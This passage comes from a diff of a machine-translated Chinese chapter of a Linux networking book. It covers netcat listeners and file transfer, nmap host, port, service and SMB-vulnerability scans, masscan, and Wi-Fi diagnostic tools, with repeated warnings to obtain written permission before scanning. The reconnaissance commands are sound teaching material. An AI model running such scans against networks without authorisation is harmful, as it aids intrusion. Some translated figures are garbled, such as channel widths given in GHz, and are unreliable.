text/html,application/xhtml+xml,application/xml;q=0.9,img/webp,img/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 -Accept-Encoding: gzip, deflate -Accept-Language: en-US,en;q=0.9 -``` - -为了让它更活跃,让我们让这个网站告诉我们日期和时间: - -```sh -while true; do echo -e "HTTP/1.1 200 OK\n\n $(date)" | nc -l -p 1500 -q 1; done -``` - -浏览该网站现在给我们当前的日期和时间: - -![Figure 3.9 – A more complex Netcat website – adding time and date ](img/B16336_03_009.jpg) - -图 3.9 -一个更复杂的 Netcat 网站-添加时间和日期 - -或者,用`apt-get`来安装`fortune`包,我们现在可以添加一句谚语给我们一些*及时*智慧: - -![Figure 3.10 – Adding a fortune to the Netcat website ](img/B16336_03_010.jpg) - -图 3.10 -在 Netcat 网站上添加财富 - -我们也可以使用 netcat 传输文件。 在接收端,我们将监听端口`1234`,并将输出发送到`out.file`,同样使用重定向: - -```sh -nc -l -p 1234 > received.txt -``` - -在发送端,我们将连接到该服务 3 秒,并将其发送`sent-file.txt`。 我们将通过在相反的方向使用重定向(使用`<`操作符)来获得输入: - -```sh -nc -w 3 [destination ip address] 1234 < sent-file.txt -``` - -现在,回到接收端,我们可以`cat`结果文件: - -```sh -$ cat received.txt -Mr. Watson, come here, I want to see you. -``` - -这说明 netcat 可以是一个有价值的故障排除工具,但是根据您试图完成的任务的不同,它的使用可能比较复杂。 我们可以使用 netcat 作为一个简单的代理,作为一个简单的聊天应用,或者呈现一个完整的 Linux shell—所有这些对网络管理员(或者渗透测试人员)来说都是方便的。 - -以上就是 netcat 的基本知识。 我们已经使用 netcat 来枚举本地端口,连接到远程端口并与远程端口进行交互,支持一些相当复杂的本地服务,甚至传输文件。 现在让我们看看 Nmap,一种更快、更优雅的枚举远程端口和服务的方法。 - -# 远程端口和服务枚举- nmap - -中最广泛用于扫描网络资源的工具是**NMAP**(简称**network Mapper**)。 NMAP 一开始只是一个简单的端口扫描工具,但现在已经超越了那一组简单的函数,拥有一长串的函数列表。 - -首先,nmap 并没有默认安装在 Ubuntu 的基本工作站上(尽管它默认包含在许多其他发行版中)。 运行`sudo apt-get install nmap`进行安装。 - -当我们继续使用 nmap 时,请尝试我们在示例中使用的各种命令。 您可能会看到类似的结果,并在此过程中了解这个有价值的工具。 在这个过程中,你也会学到很多关于你的人际网络的知识! - -重要提示 - -对于“自己试试这个”的建议,有一个非常重要的警告。 NMAP 是一个非常无害的工具,它几乎从不导致网络问题。 但是,如果是针对生产网络运行此功能,则需要首先了解该网络。 有几种类型的齿轮,特别是“摇晃”网络栈——老年医疗设备比如,以及老工业控制系统**(**ICS)或**监控和数据采集(**【显示】SCADA)装备。**** - - ****换句话说,如果你在医院、工厂或公用事业单位,要小心! 在生产网络上运行任何网络映射都可能导致问题。 - -您可能仍然希望这样做,但首先要测试已知的“空闲”设备,这样您就知道当您扫描“真实的”网络时,您有一些保证,您不会造成问题。 还有请(**请**),如果你在医疗网络上,**千万不要**扫描任何与一个人相关的东西! - -第二个(法律上的)警告——未经允许不要扫描东西。 如果您使用的是家庭或实验室网络,那么这里是使用评估工具(如 nmap 或更激进的安全评估工具)的好地方。 然而,如果你在工作,即使你确定自己不会引起麻烦,你也要先得到书面许可。 - -扫描互联网主机,你不拥有或没有书面许可扫描是非常非法的。 许多会认为它相当无害,而在大多数案例中,扫描被大多数公司简单地认为是“互联网白噪音”(大多数组织每小时被扫描数十或数百次)。 永远记住这句谚语:“罪犯和信息安全专业人员的区别在于签订了合同”,因为它是 100%真实的,所以经常被重复。 - -所有这些都过去了,让我们更加熟悉这个伟大的工具! 尝试运行`man nmap`(还记得`manual`命令吗?)—在 nmap 的手册页中有很多有用的信息,包括完整的文档。 一旦我们更熟悉这个工具,你可能会发现帮助文本更快地使用。 通常,您(或多或少)知道要查找什么,因此可以使用`grep`命令进行搜索,例如:`nmap - -help | grep `。 对于 nmap,您可以不使用标准的`- - help`选项,因为不带参数的 nmap 的默认输出是帮助页面。 - -所以,找到如何做一个 ping 扫描-也就是说,ping 范围内的所有东西(我总是忘记语法)-你会搜索如下: - -```sh -$ nmap | grep -i ping - -sn: Ping Scan - disable port scan - -PO[protocol list]: IP Protocol Ping -``` - -我们如何继续? NMAP 想知道你想映射什么-在这种情况下,我将映射`192.168.122.0/24`子网: - -```sh -$ nmap -sn 192.168.122.0/24 -Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-05 13:53 PST -Nmap scan report for _gateway (192.168.122.1) -Host is up (0.0021s latency). -Nmap scan report for ubuntu (192.168.122.21) -Host is up (0.00014s latency). -Nmap scan report for 192.168.122.51 -Host is up (0.0022s latency). -Nmap scan report for 192.168.122.128 -Host is up (0.0027s latency). -Nmap scan report for 192.168.122.241 -Host is up (0.0066s latency). -Nmap done: 256 IP addresses (5 hosts up) scanned in 2.49 seconds -``` - -所以这是一个快速扫描,它告诉我们当前在我们的子网中活跃的每个 IP。 - -现在让我们看看服务。 让我们首先查找正在运行`tcp/443`(您可能将其识别为 HTTPS)的任何内容。 我们将使用`nmap –p 443 –open 192.168.122.0/24`命令。 在这个命令中有两件事需要注意。 首先,我们使用`-p`选项指定端口。 - -缺省情况下,NMAP 使用`SYN`扫描方式扫描 TCP 端口。 nmap 发送一个`SYN`包,并等待取回一个`SYN-ACK`包。 如果它看到这一点,那么该端口是打开的。 如果收到了`port unreachable`响应,则认为该端口已关闭。 - -如果我们想要一个完整的`connect`扫描(完成整个三次握手),我们可以指定`-sT`。 - -接下来,我们看到一个`--open`选项。 这表示“只显示打开的端口”。 如果没有这个,我们将看到关闭端口和“过滤”端口(这通常意味着没有从初始包返回)。 - -如果我们想要更多关于为什么一个端口可能被认为是打开、关闭或过滤的细节,我们将删除`--open`选项,并添加`--reason`: - -```sh -$ nmap -p 443 --open 192.168.122.0/24 - Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-05 13:55 PST -Nmap scan report for _gateway (192.168.122.1) -Host is up (0.0013s latency). -PORT STATE SERVICE -443/tcp open https -Nmap scan report for 192.168.122.51 -Host is up (0.0016s latency). -PORT STATE SERVICE -443/tcp open https -Nmap scan report for 192.168.122.241 -Host is up (0.00099s latency). -PORT STATE SERVICE -443/tcp open https -Nmap done: 256 IP addresses (5 hosts up) scanned in 2.33 seconds -``` - -要扫描 UDP 端口,我们将使用相同的语法,但添加了`sU`选项。 注意到这里,我们开始看到启动的主机的 MAC 地址。 这是因为被扫描的主机与扫描器在同一个子网中,所以信息是可用的。 NMAP 使用 MAC 地址的 OUI 部分来识别每个网卡的供应商: - -```sh -$ nmap -sU -p 53 --open 192.168.122.0/24 -You requested a scan type which requires root privileges. -QUITTING! -``` - -哎呀——因为我们正在扫描 UDP 端口,所以 Nmap 需要使用 root 权限(使用`sudo`)运行。 这个是,因为它需要将发送接口置为*混杂模式*,以便捕获可能返回的任何数据包。 这是因为在 UDP 中没有*会话*的第 5 层概念,而我们在 TCP 中有,所以在发送和接收数据包之间没有第 5 层连接。 根据使用的命令行参数(不仅仅是 UDP 扫描),Nmap 可能需要提高权限。 在大多数情况下,如果你正在使用 Nmap 或类似的工具,你会发现自己经常使用`sudo`: - -```sh -$ sudo nmap -sU -p 53 --open 192.168.122.0/24 -[sudo] password for robv: -Sorry, try again. -[sudo] password for robv: -Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-05 14:04 PST -Nmap scan report for _gateway (192.168.122.1) -Host is up (0.00100s latency). -PORT STATE SERVICE -53/udp open domain -MAC Address: 00:0C:29:3B:73:CB (VMware) -Nmap scan report for 192.168.122.21 -Host is up (0.0011s latency). -PORT STATE SERVICE -53/udp open|filtered domain -MAC Address: 00:0C:29:E4:0C:31 (VMware) -Nmap scan report for 192.168.122.51 -Host is up (0.00090s latency). -PORT STATE SERVICE -53/udp open|filtered domain -MAC Address: 00:25:90:CB:00:18 (Super Micro Computer) -Nmap scan report for 192.168.122.128 -Host is up (0.00078s latency). -PORT STATE SERVICE -53/udp open|filtered domain -MAC Address: 98:AF:65:74:DF:6F (Unknown) -Nmap done: 256 IP addresses (23 hosts up) scanned in 1.79 seconds -``` - -关于这次扫描还有几点需要注意: - -第一次扫描尝试失败——注意你需要 root 权限才能在 NMAP 中进行大多数扫描。 得到结果,在许多情况下,工具工艺包本身,而不是使用标准的操作系统服务,它也通常需要权利来捕获数据包返回你的目标主机,所以 nmap 需要提高这两个操作的权限。 - -我们看到更多的状态指示`open|filtered`端口。 UDP 是特别容易出现这种——因为没有`SYN`/`SYN-ACK`类型的握手,你送一个`UDP`包,你可能不会得到任何东西——这并不意味着港口下跌,这可能意味着你的包是由处理远程服务,并没有承认发送(一些这样的协议)。 或者在许多情况下,它可能意味着端口没有启动,主机没有正确地返回 ICMP`Port Unreachable`错误消息(ICMP Type 1, Code 3)。 - -为了获得更详细的信息,让我们使用`sV`选项,该选项将探测相关的端口,并获得关于服务本身的更多信息。 在这种情况下,我们会看到`192.168.122.1`标识积极开放,运行`domain`服务,服务版本列为`generic dns response: NOTIMP`(这表明服务器不支持 DNS`UPDATE`功能,RFC 2136 中描述*)。 如果 NMAP 识别不确定,那么服务信息后面的*服务指纹*签名可以帮助进一步识别服务。* - - *还请注意,对于其他主机,原因列为`no-response`。 如果您知道协议,通常可以在这些情况下做出很好的推断。 在扫描 DNS 的情况下,`no-response`表示没有 DNS 服务器或端口关闭。 (或者可能它是开放的,有一些奇怪的服务,而不是 DNS 运行在它上面,这是极不可能的)。 (这是一个 DNS 服务器在`192`。) - -还要注意,这次扫描花了整整 100 秒,大约是我们最初扫描的 50 倍: - -```sh -$ sudo nmap -sU -p 53 --open -sV --reason 192.168.122.0/24 -Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-05 14:17 PST -Nmap scan report for _gateway (192.168.122.1) -Host is up, received arp-response (0.0011s latency). -PORT STATE SERVICE REASON VERSION -53/udp open domain udp-response ttl 64 (generic dns response: NOTIMP) -1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : -SF-Port53-UDP:V=7.80%I=7%D=1/5%Time=5FF4E58A%P=x86_64-pc-linux-gnu%r(DNSVe -SF:rsionBindReq,1E,"\0\x06\x81\x85\0\x01\0\0\0\0\0\0\x07version\x04bind\0\ -SF:0\x10\0\x03")%r(DNSStatusRequest,C,"\0\0\x90\x04\0\0\0\0\0\0\0\0")%r(NB -SF:TStat,32,"\x80\xf0\x80\x95\0\x01\0\0\0\0\0\0\x20CKAAAAAAAAAAAAAAAAAAAAA -SF:AAAAAAAAA\0\0!\0\x01"); -MAC Address: 00:0C:29:3B:73:CB (VMware) -Nmap scan report for 192.168.122.51 -Host is up, received arp-response (0.00095s latency). -PORT STATE SERVICE REASON VERSION -53/udp open|filtered domain no-response -MAC Address: 00:25:90:CB:00:18 (Super Micro Computer) -Nmap scan report for 192.168.122.128 -Host is up, received arp-response (0.00072s latency). -PORT STATE SERVICE REASON VERSION -53/udp open|filtered domain no-response -MAC Address: 98:AF:65:74:DF:6F (Unknown) -Nmap scan report for 192.168.122.171 -Host is up, received arp-response (0.0013s latency). -PORT STATE SERVICE REASON VERSION -53/udp open|filtered domain no-response -MAC Address: E4:E1:30:16:76:C5 (TCT mobile) -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 256 IP addresses (24 hosts up) scanned in 100.78 seconds -``` - -让我们尝试使用`192.168.122.1`,端口`tcp/443`的`sV`详细服务扫描,我们会看到 NMAP 在识别主机上运行的 web 服务器方面做得很好: - -```sh -root@ubuntu:~# nmap -p 443 -sV 192.168.122.1 -Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-06 09:02 PST -Nmap scan report for _gateway (192.168.122.1) -Host is up (0.0013s latency). -PORT STATE SERVICE VERSION -443/tcp open ssl/http nginx -MAC Address: 00:0C:29:3B:73:CB (VMware) -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 12.60 seconds -``` - -对`192.168.122.51`进行同样的尝试,我们看到服务被正确地识别为为 VMware ESXi 7.0 管理接口: - -```sh -root@ubuntu:~# nmap -p 443 -sV 192.168.122.51 -Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-06 09:09 PST -Nmap scan report for 192.168.122.51 -Host is up (0.0013s latency). -PORT STATE SERVICE VERSION -443/tcp open ssl/https VMware ESXi SOAP API 7.0.0 -MAC Address: 00:25:90:CB:00:18 (Super Micro Computer) -Service Info: CPE: cpe:/o:vmware:ESXi:7.0.0 -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 140.48 seconds -``` - -既然我们是使用各种选项扫描端口的专家,让我们在这方面进行扩展。 NMAP 允许我们在它找到的任何开放端口上运行脚本——这可以极大地节省时间! - -## NMAP 脚本 - -到目前为止,我们只是研究了端口扫描——但 NMAP 远不止于此。 一个功能齐全的脚本引擎可以基于 Lua(一种基于文本的解释语言)处理数据包或 NMAP 的输出。 在本书中,我们不会深入探讨 LUA,但是 NMAP 确实提供了几个预先编写好的脚本,其中一些对于网络管理员来说是非常宝贵的。 - -例如,考虑 SMB 版本信息。 微软多年来一直强烈建议 SMBv1 退役,在 2017 年 SMBv1 中的 EternalBlue 和 EternalRomance 漏洞被 WannaCry/Petya/NotPetya 系列恶意软件使用之前达到顶峰。 虽然 SMBv1 已经被有效地退休了,甚至很难在新的 Windows 版本中启用它,但我们仍然在企业网络中看到 SMBv1——无论是在较旧的服务器平台上,还是在在其 SAMBA 服务中实现 SMBv1 的较旧的基于 linux 的设备上。 使用`smb-protocols`脚本扫描这一点非常简单。 在使用任何脚本之前,打开脚本查看它到底做了什么,以及 NMAP 需要如何调用它(它可能需要哪些端口或参数)是很方便的。 在这种情况下,`smb-protocols`文本给了我们用法,以及期望输出的内容: - -```sh --- @usage nmap -p445 --script smb-protocols --- @usage nmap -p139 --script smb-protocols --- --- @output --- | smb-protocols: --- | dialects: --- | NT LM 0.12 (SMBv1) [dangerous, but default] --- | 2.02 --- | 2.10 --- | 3.00 --- | 3.02 --- |_ 3.11 --- --- @xmloutput --- --- NT LM 0.12 (SMBv1) [dangerous, but default] --- 2.02 --- 2.10 --- 3.00 --- 3.02 --- 3.11 ---
-``` - -让我们扫描目标网络中的一些特定的主机来了解更多信息。 我们将只显示一个运行 SMBv1 协议的示例主机的输出。 注意,从主机名来看,它似乎是一个**网络连接存储**(**NAS**)设备,因此可能是基于 Linux 或 bsd 的设备。 从 OUI 我们可以看到主机的品牌名称,这给了我们更具体的信息: - -```sh -nmap -p139,445 --open --script=smb-protocols 192.168.123.0/24 -Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-06 12:27 Eastern Standard Time -Nmap scan report for test-nas.defaultroute.ca (192.168.123.1) -Host is up (0.00s latency). -PORT STATE SERVICE -139/tcp open netbios-ssn -445/tcp open microsoft-ds -MAC Address: 00:D0:B8:21:89:F8 (Iomega) -Host script results: -| smb-protocols: -| dialects: -| NT LM 0.12 (SMBv1) [dangerous, but default] -| 2.02 -| 2.10 -| 3.00 -| 3.02 -|_ 3.11 -``` - -或者您可以直接使用`smb-vuln-ms17-010.nse`脚本扫描`Eternal*`漏洞(仅显示一个主机为例)。 扫描同一主机时,我们看到即使启用了 SMBv1,特定的漏洞也没有发挥作用。 尽管如此,仍然强烈建议禁用 SMBv1,因为 SMBv1 容易受到一系列漏洞的影响,而不仅仅是`ms17-010`。 - -在列表中向下滚动一点,我们的第二个示例主机确实存在这个漏洞。 从主机名可以看出,这很可能是一个业务关键型主机(运行 BAAN),所以我们宁愿修复该服务器而不是勒索软件。 看看那个主机上的生产应用,SMB 实际上根本没有理由向大多数用户公开——实际上应该只有系统或应用管理员将驱动器映射到这个主机,用户将通过它的应用端口连接到它。 对此的建议显然是修补漏洞(这可能已经几年没有做过了),但也要防火墙服务远离大多数用户(或禁用该服务,如果它不被管理员使用): - -```sh -Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-06 12:32 Eastern Standard Time -Nmap scan report for nas.defaultroute.ca (192.168.123.11) -Host is up (0.00s latency). -PORT STATE SERVICE -139/tcp open netbios-ssn -445/tcp open microsoft-ds -MAC Address: 00:D0:B8:21:89:F8 (Iomega) -Nmap scan report for baan02.defaultroute.ca (192.168.123.77) -Host is up (0.00s latency). -PORT STATE SERVICE -139/tcp open netbios-ssn -445/tcp open microsoft-ds -MAC Address: 18:A9:05:3B:ED:EC (Hewlett Packard) -Host script results: -| smb-vuln-ms17-010: -| VULNERABLE: -| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) -| State: VULNERABLE -| IDs: CVE:CVE-2017-0143 -| Risk factor: HIGH -| A critical remote code execution vulnerability exists in Microsoft SMBv1 -| servers (ms17-010). -| -| Disclosure date: 2017-03-14 -| References: -| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 -| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx -|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ -``` - -Nmap 安装了数百个脚本。 如果您正在寻找特定的东西,特别是如果您不能仅通过端口扫描来确定它,那么使用一个或多个 nmap 脚本通常是最简单的方法。 请记住,如果您正在寻找一个“流氓”主机(比如 DHCP 服务器),那么您将找到您的生产主机以及任何不需要的实例。 - -注意,其中许多依赖于在扫描中包含正确的端口号。 “广播”风格的脚本通常只扫描你的扫描器所在的子网,所以扫描远程子网可能意味着“借用”或将主机放置在该子网上。 本列表中讨论的许多核心网络服务将在本书后面的章节中介绍,包括 DNS、DHCP 等。 - -请记住(再次),未经授权的扫描永远不符合您的最佳利益-首先要获得书面许可! - -nmap 中肯定有数百个脚本,通过快速的互联网搜索可以找到更多的脚本。 我发现在生产网络中最方便的一些预打包的 nmap 脚本包括: - -![](img/B16336_Table_10.jpg) - -**意外的、恶意的或配置错误的网络基础设施**: - -![](img/B16336_Table_11.jpg) - -**服务器问题和恶意服务** - -![](img/B16336_Table_12.jpg) - -**盗版、“影子 IT”、恶意或其他意外的服务器**: - -![](img/B16336_Table_13a.jpg) - -![](img/B16336_Table_13b.jpg) - -**工作站问题**: - -![](img/B16336_Table_14.jpg) - -**网络边界问题** - -![](img/B16336_Table_15.jpg) - -**其他服务器或工作站问题**: - -![](img/B16336_Table_16.jpg) - -本文总结了 Nmap 的各种用途。 在更大的网络中,Nmap 做得不是很好——例如,在`/8`或`/16`网络中,或者一些非常大的 IPv6 网络中。 对于这些网络,需要一个更快的工具。 让我们探索一下用于这些用途的 MASSCAN 工具。 - -## Nmap 有限制吗? - -对 Nmap 的主要限制是性能。 随着网络规模的增长,Nmap 将(当然)花费越来越长的时间来完成您正在运行的任何扫描。 这通常不是一个问题,但在生产网络中,如果您的扫描从早上 8 点开始,然后在第二天某个时间结束,很可能有相当长的一段时间设备大部分处于断电或断开状态,因此扫描的有效性将受到影响。 当你在一个非常大的网络上时,这一点就变得尤为明显——例如,当你的子网掩码缩小或者你的网络数量增加时,Nmap 的扫描时间可能会增加到几个小时、几天或几个星期。 同样,在 IPv6 网络上,通常可以看到数千、数十万甚至数百万个地址,这些地址可以在几年或几十年的时间里转换成 Nmap 扫描次数。 - -有两种方法可以帮助解决这个问题。 - -首先,如果您阅读 NMAP`man`页面,有一些参数可以提高速度—您可以调整并行度(一次可以运行多少个操作)、主机超时、往返超时和操作之间的延迟等待。 这些在`man`页有详细的解释,在[https://nmap.org/book/man-performance.html](https://nmap.org/book/man-performance.html)页有更深入的讨论。 - -或者,你可以看看其他工具。 Rob Graham 维护着专用于高性能扫描的 MASSCAN 工具。 有了足够的带宽和马力,它可以在 10 分钟内扫描整个 IPv4 互联网。 该工具的 1.3 版增加了对 IPv6 的支持。 MASSCAN 的语法与 Nmap 的类似,但是在使用这个更快的工具时需要注意一些事情。 该工具及其文档和“陷阱”发布在这里:[https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan)。 - -对于非常大的网络,一种常见的方法是使用 MASSCAN(或为更快的扫描调优的 Nmap)作为初始扫描集。 然后,粗略扫描的输出可以用于“提供”下一个工具,无论是 Nmap 还是其他工具,可能是安全扫描程序,如 Nessus 或 OpenVAS。 像这样将工具“链接”在一起,最大限度地发挥每个工具的优势,在最短的时间内提供最好的结果。 - -所有的工具都有其局限性,IPv6 网络仍然是扫描工具的一个挑战。 除非您能够以某种方式限制范围,否则 IPv6 将很快达到扫描主机上的网络带宽、时间和内存的限制。 DNS 收集等工具可以在此提供帮助——如果您能够在扫描服务之前识别出哪些主机实际上是活动的,那么可以将目标地址显著减少到可管理的卷。 - -端口扫描已经结束,让我们离开有线世界,探索在无线网络上使用 Linux 进行故障排除。 - -# 无线诊断操作 - -无线网络中的诊断工具通常关注发现低信号强度和干扰的区域——这些东西会给使用你的无线网络的人们带来问题。 - -有一些优秀的基于 linux 的无线工具,但是我们将讨论 Kismet、Wavemon 和 LinSSID。 这三个工具都是免费的,并且都可以使用标准的`apt-get install `命令进行安装。 如果您扩展您的工具搜索,包括攻击类型的工具或商业产品,这个列表显然会变得更大。 - -Kismet 是 Linux 中可用的较老的无线工具之一。 我第一次接触它是作为一个信息安全工具,突出显示“隐藏的”无线 ssid 实际上根本不隐藏! - -使用如下命令运行该工具: - -```sh -$ sudo kismet –c -``` - -或者,如果你有一个完整的工作配置,不需要实际的服务器窗口,运行以下: - -```sh -$ sudo kismet –c & -``` - -现在,在另一个窗口(或者在相同的地方,如果你在后台运行 Kismet),运行 Kismet 客户端: - -```sh -$ kismet_client -``` - -在出现的显示中,您将看到各种 ssid,以及发送它们的接入点的 bssid。 当您滚动这个列表时,您将看到每个 SSID 使用的通道和加密类型、您的笔记本电脑能够理解的在该 SSID 上协商的速度,以及该 SSID 上的所有客户端站点。 每个客户端都会显示其 MAC 地址、频率和包计数。 这些信息都是以明文形式发送的,作为每个客户端关联过程和持续连接“握手”的一部分。 - -由于您的无线适配器一次只能在一个 SSID/BSSID 组合上,因此所呈现的信息是通过在信道之间跳跃来收集的。 - -在下面的截图中,我们显示了一个隐藏的 SSID,其中显示了接入点的 BSSID,以及该接入点上与该 SSID 关联的 8 个客户端: - -![Figure 3.11 – Typical Kismet output on the main screen ](img/B16336_03_011.jpg) - -图 3.11 -主屏幕上典型的 Kismet 输出 - -在网络上按*Enter*将提供关于从该接入点广播的 SSID 的更多信息。 注意,我们在这个显示中看到了一个**隐藏的 SSID**: - -![Figure 3.12 – Kismet output, access point/SSID detail ](img/B16336_03_012.jpg) - -图 3.12 - Kismet 输出,接入点/SSID 细节 - -进一步深入,您可以得到客户活动的详细信息: - -![Figure 3.13 – Kismet output, client detail ](img/B16336_03_013.jpg) - -图 3.13 - Kismet 输出,客户端详细信息 - -虽然 Kismet 是侦察和演示的好工具,但它的菜单很容易让人迷失,并且在诊断信号强度时不容易专注于跟踪我们真正关心的东西。 - -Wavemon 是一个非常不同的工具。 它只监视您的连接,因此您必须将它与 SSID 关联。 它会给你当前的访问点、速度、信道等等,如下面的截图所示。 这可能很有用,但它只是故障诊断通常需要的信息的一个狭窄视图——注意在下面的屏幕截图中,报告的值主要是关于数据吞吐量和从适配器所关联的网络中看到的信号。 由于这个原因,Wavemon 工具主要用于故障排除上行问题,而在故障排除、评估或查看整个无线基础设施的信息方面使用得不多: - -![Figure 3.14 – Wavemon display ](img/B16336_03_014.jpg) - -图 3.14 - Wavemon 显示 - -更常用的是**LinSSID**,它是 MetaGeek 的 Windows 应用 inside 的一个非常接近的端口。 在运行应用时,屏幕相当空。 选择您想要用来“嗅探”本地无线网络的无线适配器,然后按**Run**按钮。 - -显示器显示了两个频谱(2.4 GHz 和 5 GHz)上可用的信道,每个 SSID 在顶部窗口中表示。 列表中选中的每个 SSID/BSSID 组合都显示在底部窗口中。 这使得很容易看到列表中每个 AP 的信号强度,以及图形显示中的相对强度。 相互干扰的 ssid 在重叠的图形显示中很明显。 下面的屏幕截图显示了 5 GHz 频谱情况—注意 ap 是如何聚集在两个通道周围的。 它们中的任何一个都可以通过改变信道来提高性能,在我们的显示器中有很多空闲的信道——事实上,这就是推动迁移到 5 GHz 的原因。 是的,那个频段更快,但更重要的是,它更容易解决任何来自相邻接入点的干扰问题。 还需要注意的是,图上显示的每个通道占用大约 20 GHz(稍后将详细介绍): - -![Figure 3.15 – LinSSID output – the main screen showing channel allocation and strength, both in text and graphically ](img/B16336_03_015.jpg) - -图 3.15 - LinSSID 输出-主屏幕以文字和图形方式显示信道分配和强度 - -2.4 GHz 信道也好不到哪里去。 由于北美只有 11 个频道,你通常会看到人们选择频道 1、6 或 11——这 3 个频道互不干扰。 在几乎所有非农村的环境中,你会看到一些邻居在使用你认为是免费的 3 个频道! 在下面的截图中,我们可以看到每个人都选择了 11 频道,原因如下: - -![Figure 3.16 – Interference from wireless neighbors – multiple wireless BSSIDs using the same channel ](img/B16336_03_016.jpg) - -图 3.16 -来自无线邻居的干扰-多个无线 bssid 使用相同的信道 - -在第二个示例中(也是来自 2.4 GHz 频谱),我们看到人们为他们的信号选择更宽的“足迹”的结果。 在`802.11`无线中,您可以选择将默认的 20 GHz 信道扩展到 40 / 80 GHz。 这样做的好处是——在没有任何邻居的情况下——这肯定会提高吞吐量,特别是对于使用较少的通道(例如一个或两个客户机)。 然而,在相邻接入点有重叠信号的环境中,您可以看到,增加信道宽度(在 2.4 GHz 频段上)会使每个人受到更多的干扰——相邻接入点会发现自己没有好的信道选择。 这种情况通常会影响每个人的信号质量(和吞吐量),包括选择增加其信道宽度的“坏邻居”。 - -在 5 GHz 频段,有更多的信道,所以增加信道宽度通常是更安全的做法。 在选择或拓宽你的接入点的信道之前,先看看你的频谱中发生了什么总是明智的: - -![Figure 3.17 – Using wider channel widths in the 2.4 GHz spectrum, with resulting interference ](img/B16336_03_017.jpg) - -图 3.17 -在 2.4 GHz 频谱中使用更宽的信道宽度,会产生干扰 - -在我们已经讨论过的工具中,LinSSID 尤其适用于进行无线站点调查,您需要查看哪些频道可用,更重要的是,跟踪信号强度并找到“死点”,以最大限度地扩大整个建筑或区域的无线覆盖。 LinSSID 也是我们已经讨论过的最有帮助的工具,它可以帮助我们找到信道干扰的情况,或者故障排除在信道宽度选择不当的情况下的情况。 - -通过我们所讨论的内容和所探索的工具,您现在应该已经具备了很好的装备,可以排除 2.4 GHz 和 5 GHz 频段上有关无线信号强度和干扰的问题。 您应该能够使用工具,如天命找到隐藏 ssid,工具如 Wavemon 排除网络联系在一起,和工具包括 LinSSID 全面地观察到的无线频谱,寻找干扰和信号强度,以及通道宽度和通道重叠问题。 - -# 总结 - -读完本章后,您应该对 OSI 模型中描述的各种网络和应用协议的层次结构有了很好的理解。 您应该对 TCP 和 UDP 有扎实的理解,特别是这两个协议如何使用端口,以及如何建立和关闭 TCP 会话。 使用`netstat`或`ss`来查看您的主机如何连接到各种远程服务,或者您的主机正在侦听哪些服务,这是您可以在以后使用的技能。 在此基础上,使用端口扫描器查看组织中正在运行的主机和网络服务应该是一项有用的技能。 最后,我们对 Linux 无线工具的讨论应该有助于故障排除、配置和无线站点调查。 所有这些技能都将是我们在本书中继续前进的基础,但更重要的是,它们将在您的组织中对应用和网络问题进行故障排除时非常有用。 - -这就结束了我们关于使用 Linux 进行网络故障排除的讨论。 不过,我们将在大多数章节中重新讨论故障排除——随着我们继续前进并构建基础设施的每个部分,我们将发现新的潜在问题和故障排除方法。 在本节中,我们从网络和主机的角度详细讨论了通信是如何发生的。 在下一章中,我们将讨论 Linux 防火墙,这是一种限制和控制这些通信的好方法。 - -# 问题 - -正如我们总结的,这里有一个问题列表,供你测试你对本章材料的知识。 你可以在附录的*评估*部分找到答案: - -1. 当您使用`netstat`、`ss`或其他命令评估本地端口时,您是否会看到一个处于`ESTABLISHED`状态的 UDP 会话? -2. 为什么能够确定哪些进程监听哪些端口如此重要? -3. 为什么确定从任何特定应用连接到哪个远程端口很重要? -4. 为什么要在除`tcp/443`之外的端口上扫描过期或即将过期的证书? -5. 为什么 netcat 需要`sudo`权限才能在端口`80`上启动侦听器? -6. 在 2.4 GHz 频段,哪三个通道是减少干扰的最佳选择? -7. 你什么时候会使用 20 GHz 以外的 Wi-Fi 信道宽度? - -# 进一步阅读 - -* OSI 模型(*ISO/IED 7498-1*):[https://standards.iso.org/ittf/PubliclyAvailableStandards/s020269_ISO_IEC_7498-1_1994(E).zip](https://standards.iso.org/ittf/PubliclyAvailableStandards/s020269_ISO_IEC_7498-1_1994(E).zip) -* Nmap:[https://nmap.org/](https://nmap.org/) -* The Nmap reference guide: [https://nmap.org/book/man.html](https://nmap.org/book/man.html) - - [https://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717](https://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717) - -* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan)************* \ No newline at end of file diff --git a/docs/linux-net-prof/04.md b/docs/linux-net-prof/04.md deleted file mode 100644 index b5a307c0..00000000 --- a/docs/linux-net-prof/04.md +++ /dev/null @@ -1,400 +0,0 @@ -# 四、Linux 防火墙 - -Linux 几乎总是有一个集成的防火墙供管理员使用。 使用本机防火墙工具,您可以使用地址转换或代理服务器构建传统的外围防火墙。 然而,这些并不是现代数据中心的典型用例。 现代基础设施中主机防火墙的典型用例如下: - -* 入站访问控制,以限制对管理接口的访问 -* 入站访问控制,以限制对其他已安装服务的访问 -* 在安全暴露、泄露或其他事件之后,记录对任何后续事件响应的访问 - -虽然出口过滤(出站访问控制)当然是推荐的,但这通常是在网络边界上实现的——在 vlan 之间的防火墙和路由器上,或者面对不太可信的网络,如公共互联网。 - -在本章中,我们将重点实现一组规则,这些规则控制对主机的访问,主机实现了用于一般访问的 web 服务,以及用于管理访问的 SSH 服务。 - 